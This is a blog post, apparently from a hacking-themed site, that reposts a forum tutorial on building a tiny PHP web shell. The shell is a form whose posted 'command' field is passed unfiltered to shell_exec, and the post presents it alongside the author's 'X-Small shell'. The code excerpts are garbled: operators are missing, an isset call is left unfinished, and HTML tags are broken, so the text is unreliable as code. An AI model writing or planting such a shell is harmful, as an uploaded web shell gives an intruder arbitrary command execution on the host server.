Final Fantasy 7 - Cloud's Buster Sword

Facebook LikeBox Pop-up With Email Subscription Box

Receive all updates via Facebook. Just Click the Like Button Below


You can also receive Free Email Updates:

Powered By Do Hacking

Sunday, 28 October 2012

Create a Simple PHP Shell Command Terminal

Create a Simple PHP Shell Command Terminal

In this thread I (TechLab) will show you how to make a Super simple php command line shell.
This is similar to my X-Small shell which is under 200 bytes.

All credits go to Me TechLab!!!

To Begin
You need:

!# Basic html knowledge
!# A PHP host (in my case I am using a localhost)
!# And a brain (im my case I am using....)

First, create a php file and call it something such as shell.php.

Open it in a text editor.

Now, start the php with the opening and closing brakets:
PHP Code:
<?php // code will go in here except for the html and calling the php function.?>

In the php brackets we will create a php function and call it exec_cmd and add a if isset function to check to see if we have submitted any command:
PHP Code:
<?phpfunction exec_cmd(){
  if (isset(


Now, in the if statement let us add the actual functions to execute the command.

PHP Code:
$exc $_POST['command']; echo shell_exec($exc); 

Your code should look something like this:
[Image: code1j.png]

The php is almost done! :)

Now for the HTML!

Below the closing php tag (it MUST be out of the <?php ?> tags!) we will add the post form.

To begin, create a simple form and add a php post to self:
Note: the $_SERVER["PHP_SELF"] should only be used on tools like this, and not on pages accessed by other people because of a XSS vuln.
PHP Code:
<form action='<?php echo $_SERVER["PHP_SELF"]?>' method='post'>
input type'text' name='command' />
input type='submit' />

All the html is Done!!!
Your code should look like this:
[Image: code2g.png]
All we need to add is the last bit of PHP!

Under the closing </form> tag, add this php code to Call the function:
PHP Code:
<?php  exec_cmd();?>

You are finished!
The complete code looks like this:
[Image: code3.png]

I hoped you liked it!
Please say thanks if you thought it was useful! :)

And, Do Not leach!


No comments:

Post a Comment